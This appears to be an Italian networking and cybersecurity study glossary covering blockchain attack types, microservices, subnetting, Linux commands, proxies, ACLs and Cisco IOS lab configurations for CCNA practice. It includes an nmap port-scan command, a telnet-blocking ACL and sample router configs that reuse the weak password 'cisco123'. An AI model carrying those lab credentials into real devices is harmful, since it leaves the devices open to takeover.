Connettività intermittenteNodi offline non ricevono aggiornamenti/alertLocal IDS, offline-capable security policy

Campi di impiego: smart factory, veicoli autonomi, telemedicina, smart city, retail analytics.

Blockchain — Sicurezza
Disruptive tech

La blockchain è un registro distribuito, immutabile e crittograficamente sicuro. Ma non è intrinsecamente sicura — la sicurezza dipende dall'implementazione.

Proprietà di sicurezzaCome è garantita
ImmutabilitàOgni blocco contiene l'hash del precedente — modificare un blocco invalida tutta la catena
TrasparenzaBlockchain pubbliche (Bitcoin, Ethereum) — tutti vedono tutte le transazioni
DecentralizzazioneNessun singolo punto di fallimento — consenso distribuito
AutenticitàOgni transazione firmata digitalmente con chiave privata del mittente
Vettore di attaccoDescrizione
51% AttackChi controlla >50% della potenza di calcolo può riscrivere la storia della blockchain
Smart contract exploitBug nel codice del contratto → furto fondi (The DAO hack: $60M)
Phishing chiavi privateLa blockchain è sicura, il wallet dell'utente no — furto chiave privata = furto totale
Attacchi SybilCreazione di identità false per influenzare il consenso
Routing attackBGP hijacking per isolare nodi e manipolare transazioni
💡 Applicazioni enterprise: supply chain traceability, identità digitale decentralizzata (SSI), smart contract per automazione contratti, NFT e tokenizzazione asset.
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SOA & Architettura a Microservizi

SOA — Service Oriented Architecture
Architettura software

L'architettura orientata ai servizi (SOA) è un approccio allo sviluppo software in cui le funzionalità sono esposte come servizi riutilizzabili e interoperabili. Ogni servizio è indipendente e comunicabile tra piattaforme diverse.

Principio SOASignificato
InteroperabilitàI servizi comunicano indipendentemente dal linguaggio o piattaforma sottostante
Accoppiamento deboleI servizi hanno dipendenze minime — modificare uno non impatta gli altri
AstrazioneChi usa il servizio non conosce la logica interna — solo l'interfaccia
RiusabilitàStesso servizio usato da più applicazioni aziendali diverse

Componenti SOA: Servizio (implementazione + contratto + interfaccia) · Fornitore di servizi · Utente di servizi · Registro di servizi (directory dei servizi disponibili).

Protocolli SOA: SOAP · RESTful HTTP · gRPC · Apache ActiveMQ · JMS (Java Message Service)

💡 SOA è il predecessore concettuale dei microservizi. La differenza principale: SOA tende a condividere un ESB (Enterprise Service Bus) centralizzato; i microservizi comunicano peer-to-peer via API leggere (REST/gRPC) senza bus centrale.
Architettura a Microservizi
Cloud-native

I microservizi decompongono un'applicazione monolitica in una serie di servizi piccoli, autonomi e indipendentemente distribuibili. Ogni microservizio ha una responsabilità specifica e comunica via API.

CaratteristicaMonoliteMicroservizi
DeployTutto insiemeOgni servizio indipendentemente
ScalabilitàScala tutto o nienteScala solo il servizio sotto carico
GuastoUn bug può bloccare tuttoIsolamento del guasto al singolo servizio
TecnologiaUn linguaggio/frameworkLibertà tecnologica per servizio
Complessità opsBassa (un deploy)Alta (orchestrazione: Kubernetes, Docker)

Implicazioni di sicurezza:

  • Superficie d'attacco aumentata: ogni API tra microservizi è un potenziale vettore
  • API Gateway: punto centralizzato di autenticazione, rate limiting e WAF per tutte le API
  • Zero Trust interno: ogni microservizio deve autenticare le richieste anche da altri servizi interni
  • Secrets management: ogni servizio ha le sue credenziali — usare Vault o KMS, mai hardcode
💡 Esempio e-commerce a microservizi: servizio autenticazione · catalogo prodotti · carrello · pagamento · notifiche · spedizioni — ognuno scala e si aggiorna indipendentemente. Se il servizio notifiche va down, l'acquisto continua a funzionare.
02

Logica Booleana

Operatori Booleani & Circuiti Logici

Un circuito booleano è una rete di porte logiche (gate) che implementano operazioni su bit (0/1) — il fondamento di ogni sistema digitale.

OperatoreSimboloOutputUso in cybersecurity
AND& ∧1 solo se entrambi 1Subnet mask, filtri ACL
OR| ∨1 se almeno uno è 1Regole firewall
NOT! ¬Inverte il bitWildcard mask Cisco
XOR^ ⊕1 se sono diversiRAID 5/6, AES, OTP
NAND!(A&B)Opposto ANDUniversale: qualsiasi circuito
NOR!(A|B)Opposto ORUniversale come NAND
AND applicato alla Subnet Mask
Calcolo di rete

La subnet mask funziona con un AND bit a bit tra IP e maschera. Il risultato è l'indirizzo di rete — la parte fissa condivisa da tutti gli host della sottorete.

IP:    192.168.1.10   →  11000000.10101000.00000001.00001010
Mask:  255.255.255.0  →  11111111.11111111.11111111.00000000
AND: ─────────────────────────────────────────────────────
Net:   192.168.1.0    →  11000000.10101000.00000001.00000000

Bit mask=1 → parte RETE   (fissa, uguale per tutti gli host)
Bit mask=0 → parte HOST   (variabile, identifica il singolo host)

Notazione CIDR — invece di scrivere la mask per esteso si conta il numero di bit a 1:

MaskCIDRHost disponibiliUso tipico
255.0.0.0/816.777.214Classe A, reti molto grandi
255.255.0.0/1665.534Classe B, campus/aziende
255.255.255.0/24254Classe C, LAN tipica
255.255.255.128/25126Subnet dimezzata
255.255.255.192/2662Piccoli uffici
255.255.255.252/302Link punto-punto

Calcolo completo per 192.168.1.10/24:

ElementoCalcoloRisultato
Indirizzo di reteIP AND mask192.168.1.0
BroadcastNet OR (NOT mask)192.168.1.255
Primo hostNet + 1192.168.1.1
Ultimo hostBroadcast − 1192.168.1.254
Host disponibili2^(32−24) − 2254
⚠️ L'indirizzo di rete (tutti 0 nella parte host) e il broadcast (tutti 1) non sono assegnabili agli host — da qui il "−2" nella formula.
🛠️
Calcolatore IPv4 → Binario Visualizza ogni ottetto bit per bit in tempo reale
08

CLI — Command Line Interface

Comandi Linux — reti & sicurezza
ComandoFunzione
ip addr / ifconfigInterfacce e IP
ip route showTabella di routing
ping / tracerouteRaggiungibilità / percorso
nslookup / digQuery DNS
ss -tulpnPorte in ascolto
nmap <target>Scansione porte
tcpdump -i eth0Cattura pacchetti
iptables / ufwFirewall
ssh user@hostConnessione remota cifrata
scp / rsyncCopia file via SSH
Cisco IOS — comandi base

Livelli: > User · # Privileged (enable) · (config)# Global config

show ip interface brief     ! stato interfacce
show ip route               ! routing table
show running-config         ! config attiva
show version                ! HW e versione IOS
no shutdown                 ! attiva interfaccia
ip route 10.0.0.0 255.255.0.0 192.168.1.1  ! rotta statica
💡 no davanti a qualsiasi comando lo annulla. ? mostra l'help contestuale. Tab completa il comando.
09

Proxy Server

Forward Proxy — lato client

Si interpone tra i client interni e Internet. Il server vede solo l'IP del proxy.

Client → [Forward Proxy] → Internet → Server
  • Controllo accessi web, filtraggio contenuti, cache, logging
Proxy Trasparente vs Esplicito
AspettoEsplicitoTrasparente
Client sa del proxy✔ Sì❌ No
Config clientRichiesta (GPO/manuale)Nessuna
Aggirabile✔ Sì❌ No (NAT a livello rete)
HTTPSNativoRichiede SSL inspection
Uso tipicoAziende, scuoleISP, hotspot
Reverse Proxy — lato server

Davanti ai server backend. I client credono di parlare col server finale.

Client → Internet → [Reverse Proxy] → Server A
                                     → Server B
  • Load balancing · SSL termination · Cache · WAF integrato
# nginx reverse proxy
server { listen 443 ssl; server_name miosito.com;
  location / { proxy_pass http://backend; } }
upstream backend { server 192.168.1.10:8080; server 192.168.1.11:8080; }
💡 Forward = protegge CLIENT. Reverse = protegge SERVER. CDN come Cloudflare sono reverse proxy globali.
10

ACL — Access Control List

ACL di Filesystem

Gestisce accesso a FILE e DIRECTORY. r=read, w=write, x=execute. Deny-by-default.

alice → rw-   bob → r--   guest → ---
ACL di Rete

Filtra pacchetti su router/switch per IP, porta, protocollo. Standard: solo IP sorgente. Estesa: IP + porta + protocollo.

! Cisco IOS — ACL estesa numerata
access-list 101 permit ip 192.168.1.0 0.0.0.255 any
access-list 101 deny   ip 10.0.0.0 0.255.255.255 any
access-list 101 permit ip any any
💡 Principio minimo privilegio: ogni entità accede SOLO a ciò di cui ha bisogno.
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Linux — Libretto completo

Linux ha una pagina dedicata

Il libretto Linux è un documento completo con 7 capitoli: introduzione, distribuzioni, filesystem, comandi shell, utenti e permessi, Bash scripting, networking. Ha la sua sidebar di navigazione e lo stesso stile di questo glossario.

🐧
Apri il Libretto Linux

Filesystem · Comandi shell · sed · find · Bash scripting · Permessi · SSH · nmap e molto altro.

7 capitoli · contenuto completo
Script Bash — Progetto GOL CyberSecurity

Script Bash sviluppati durante lo stage formativo del Progetto GOL. Terminale interattivo con esecuzione simulata, codice sorgente e documentazione.

🖥️
DevShell — Progetto GOL CyberSecurity

grep · bc · tr · cut · shuf · /dev/urandom — Script di Ottavia, Marcello e Claudio.

portfolio2026-04.web.app
💡 Seleziona uno script dal pannello e premi ESEGUI per vedere la simulazione nel terminale interattivo.
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Cisco Packet Tracer & CCNA

Cos'è Cisco Packet Tracer
Simulatore

Packet Tracer è il simulatore di rete gratuito di Cisco, fondamentale per prepararsi al CCNA. Permette di costruire topologie virtuali, configurare router e switch con la CLI IOS reale, e verificare la connettività senza hardware fisico.

  • Download gratuito su netacad.com (richiede account Cisco NetAcademy)
  • Supporta router, switch, hub, firewall, server, PC, wireless
  • Modalità Realtime (traffico reale) e Simulation (analisi frame per frame)
  • File con estensione .pkt — salvano l'intera topologia
💡 Nella modalità Simulation puoi vedere ogni pacchetto ICMP, ARP, TCP SYN — essenziale per capire cosa succede davvero in rete.
Topologie tipiche in Packet Tracer

Le topologie più usate nei lab CCNA:

  • Router-on-a-stick: un router con sotto-interfacce per routing inter-VLAN (1 cavo trunk ↔ switch)
  • Three-tier: Core switch → Distribution switch → Access switch (modello enterprise Cisco)
  • WAN point-to-point: due router collegati con link seriale, protocollo PPP o HDLC
  • Hub-and-spoke: un router centrale (hub) collegato a più router periferici (spoke)
Esempio topologia base CCNA:
PC1 ─── SW1 ─── R1 ─── R2 ─── SW2 ─── PC2
          |              |
        VLAN 10        VLAN 20
(192.168.10.0/24)  (192.168.20.0/24)
CLI IOS — Configurazione completa Router
IOS

Sequenza completa di configurazione di un router da zero:

! ── Accesso e modalità ────────────────────────────────────── Router> enable ! entra in privileged mode Router# configure terminal ! entra in global config Router(config)# hostname R1 ! imposta nome dispositivo ! ── Sicurezza base ─────────────────────────────────────────── R1(config)# enable secret cisco123 ! password enable cifrata R1(config)# service password-encryption ! cifra tutte le password R1(config)# banner motd #ACCESSO AUTORIZZATO SOLO# R1(config)# no ip domain-lookup ! evita lag DNS su typo ! ── Interfaccia LAN ────────────────────────────────────────── R1(config)# interface GigabitEthernet0/0 R1(config-if)# ip address 192.168.1.1 255.255.255.0 R1(config-if)# description LAN-Principale R1(config-if)# no shutdown ! attiva l'interfaccia R1(config-if)# exit ! ── Interfaccia WAN (verso R2) ─────────────────────────────── R1(config)# interface GigabitEthernet0/1 R1(config-if)# ip address 10.0.0.1 255.255.255.252 R1(config-if)# no shutdown R1(config-if)# exit ! ── Rotta statica verso rete remota ────────────────────────── R1(config)# ip route 192.168.2.0 255.255.255.0 10.0.0.2 ! ── SSH (al posto di Telnet) ───────────────────────────────── R1(config)# ip domain-name lab.local R1(config)# crypto key generate rsa modulus 2048 R1(config)# ip ssh version 2 R1(config)# username admin secret cisco123 R1(config)# line vty 0 4 R1(config-line)# transport input ssh R1(config-line)# login local R1(config-line)# exit ! ── Salvataggio ────────────────────────────────────────────── R1(config)# end R1# copy running-config startup-config ! o: write memory
VLAN & Trunking
L2

VLAN (Virtual LAN): segmentazione logica di una rete fisica. Dispositivi sulla stessa VLAN comunicano tra loro senza router, ma tra VLAN diverse serve il routing (L3).

! ── Creazione VLAN su Switch ───────────────────────────────── SW1(config)# vlan 10 SW1(config-vlan)# name UFFICI SW1(config-vlan)# exit SW1(config)# vlan 20 SW1(config-vlan)# name SERVER SW1(config-vlan)# exit ! ── Porta Access (PC appartiene a una sola VLAN) ───────────── SW1(config)# interface Fa0/1 SW1(config-if)# switchport mode access SW1(config-if)# switchport access vlan 10 SW1(config-if)# exit ! ── Porta Trunk (trasporta più VLAN — verso router o switch) ─ SW1(config)# interface Fa0/24 SW1(config-if)# switchport mode trunk SW1(config-if)# switchport trunk encapsulation dot1q ! se richiesto SW1(config-if)# switchport trunk allowed vlan 10,20 SW1(config-if)# exit ! ── Verifica ───────────────────────────────────────────────── SW1# show vlan brief SW1# show interfaces trunk
💡 La VLAN 1 è la VLAN nativa di default — per sicurezza cambiala sempre con un'altra. Le porte trunk usano 802.1Q (dot1q) per taggare i frame con l'ID VLAN.
STP — Spanning Tree Protocol
IEEE 802.1D

STP previene i loop di rete bloccando le porte ridondanti. Elegge un Root Bridge (lo switch con il Bridge ID più basso = priorità + MAC). Le altre porte diventano Root Port, Designated Port o Blocked Port.

  • RSTP (802.1w): Rapid STP — convergenza in 1-2 secondi invece di 30-50s
  • PVST+: Per-VLAN STP di Cisco — un'istanza STP per ogni VLAN
  • PortFast: salta gli stati STP sulle porte access (PC diretti) — convergenza immediata
! Imposta priorità Root Bridge (più basso = più probabile root) SW1(config)# spanning-tree vlan 10 priority 4096 ! PortFast su porta PC SW1(config-if)# spanning-tree portfast ! Verifica SW1# show spanning-tree vlan 10
DHCP — Dynamic Host Configuration Protocol
UDP 67/68

Assegna automaticamente IP, subnet mask, gateway e DNS ai client. Sequenza: DORA — Discover → Offer → Request → Acknowledge.

! ── DHCP Server su Router ──────────────────────────────────── R1(config)# ip dhcp excluded-address 192.168.1.1 192.168.1.20 ! escludi IP statici R1(config)# ip dhcp pool LAN-POOL R1(dhcp-config)# network 192.168.1.0 255.255.255.0 R1(dhcp-config)# default-router 192.168.1.1 R1(dhcp-config)# dns-server 8.8.8.8 R1(dhcp-config)# lease 7 ! lease 7 giorni R1(dhcp-config)# exit ! ── DHCP Relay (se il server è su un'altra subnet) ─────────── R1(config-if)# ip helper-address 192.168.2.100 ! IP del server DHCP ! ── Verifica ───────────────────────────────────────────────── R1# show ip dhcp binding R1# show ip dhcp pool
NAT & PAT — Network/Port Address Translation
L3

NAT traduce indirizzi IP privati in pubblici. PAT (NAT overload) usa anche le porte — permette a molti host interni di condividere un singolo IP pubblico.

! ── PAT (NAT Overload) — il più comune ────────────────────── R1(config)# access-list 1 permit 192.168.1.0 0.0.0.255 ! ACL degli host interni R1(config)# interface Gi0/0 ! interfaccia LAN = inside R1(config-if)# ip nat inside R1(config-if)# exit R1(config)# interface Gi0/1 ! interfaccia WAN = outside R1(config-if)# ip nat outside R1(config-if)# exit R1(config)# ip nat inside source list 1 interface Gi0/1 overload ! ── Verifica ───────────────────────────────────────────────── R1# show ip nat translations R1# show ip nat statistics
💡 NAT statico: 1 IP privato ↔ 1 IP pubblico. NAT dinamico: pool di IP pubblici. PAT (overload): tutti gli host interni → 1 IP pubblico con porte diverse.
ACL in IOS — Standard & Estesa
Sicurezza
! ── ACL Standard (1-99): filtra solo IP sorgente ───────────── R1(config)# access-list 10 permit 192.168.1.0 0.0.0.255 R1(config)# access-list 10 deny any ! Applica sull'interfaccia (più vicino alla destinazione) R1(config-if)# ip access-group 10 out ! ── ACL Estesa (100-199): filtra IP + porta + protocollo ───── R1(config)# access-list 101 permit tcp 192.168.1.0 0.0.0.255 any eq 80 R1(config)# access-list 101 permit tcp 192.168.1.0 0.0.0.255 any eq 443 R1(config)# access-list 101 deny ip any any ! Applica (più vicino alla sorgente per le estese) R1(config-if)# ip access-group 101 in ! ── ACL Named (più leggibile) ──────────────────────────────── R1(config)# ip access-list extended BLOCCA-TELNET R1(config-ext-nacl)# deny tcp any any eq 23 R1(config-ext-nacl)# permit ip any any ! Verifica R1# show access-lists
💡 Regola d'oro: ACL standard → applica vicino alla DESTINAZIONE. ACL estesa → applica vicino alla SORGENTE. Esiste sempre un "deny any" implicito alla fine.
OSPF in IOS — Configurazione completa
Dinamico L3
! ── OSPF base su R1 ────────────────────────────────────────── R1(config)# router ospf 1 ! process-id locale (1-65535) R1(config-router)# router-id 1.1.1.1 ! ID univoco del router R1(config-router)# network 192.168.1.0 0.0.0.255 area 0 R1(config-router)# network 10.0.0.0 0.0.0.3 area 0 R1(config-router)# passive-interface Gi0/0 ! non invia hello sulla LAN R1(config-router)# exit ! ── Verifica ───────────────────────────────────────────────── R1# show ip ospf neighbor ! router vicini OSPF R1# show ip ospf database ! LSDB (mappa rete) R1# show ip route ospf ! rotte apprese da OSPF R1# show ip protocols ! protocolli attivi
💡 La wildcard mask è l'inverso della subnet mask: /24 → 0.0.0.255 · /30 → 0.0.0.3 · /8 → 0.255.255.255. Area 0 = backbone OSPF, obbligatoria.
Troubleshooting — Comandi diagnostici IOS
ping 192.168.1.1

Testa ICMP verso un host

traceroute 8.8.8.8

Mappa percorso hop per hop

show ip route

Tabella di routing completa

show ip interface brief

Stato tutte le interfacce

show interfaces Gi0/0

Dettaglio interfaccia: errori, counters

show arp

Tabella ARP: IP ↔ MAC

show mac address-table

Tabella MAC dello switch

show cdp neighbors

Dispositivi Cisco vicini (CDP)

debug ip ospf events

Debug OSPF in tempo reale

debug ip rip

Debug RIP in tempo reale

show ip nat translations

Traduzioni NAT attive

show vlan brief

VLAN configurate e porte

💡 Metodologia OSI bottom-up: inizia dal L1 (cavi, LED) → L2 (CDP, MAC) → L3 (ping, route) → L4 (porte) → L7 (applicazione). Isola il livello del problema.
Concetti chiave per il CCNA
Esame
ArgomentoConcetto chiave da ricordare
SubnettingFormula: 2^n host − 2 (rete + broadcast). 2^m subnet. /30 = 2 host (point-to-point)
Wildcard maskInverso della subnet: 255.255.255.0 → 0.0.0.255
OSI vs TCP/IPTCP/IP ha 4 livelli: App (L5-7) · Trasporto (L4) · Internet (L3) · Accesso rete (L1-2)
STPRoot Bridge = priorità più bassa. Default: 32768. PortFast solo su porte access.
VLANAccess = una VLAN · Trunk = più VLAN con tag 802.1Q · VLAN nativa = non taggata
NATInside local = IP privato · Inside global = IP pubblico · Outside = destinazione
OSPFHello ogni 10s, Dead ogni 40s. Stessi area, hello, dead, password → diventano neighbor
DHCP DORADiscover (broadcast) · Offer · Request · Acknowledge
CDPCisco Discovery Protocol: scopre automaticamente i vicini Cisco diretti (L2)
Sicurezza switchPort security: limita MAC su una porta. Violazione: shutdown / restrict / protect
💡 CCNA 200-301: 120 minuti, 100-120 domande (mix/drag&drop/lab). Argomenti: reti, routing, switching, wireless, sicurezza, automazione. Usa Packet Tracer + Boson ExSim per la simulazione d'esame.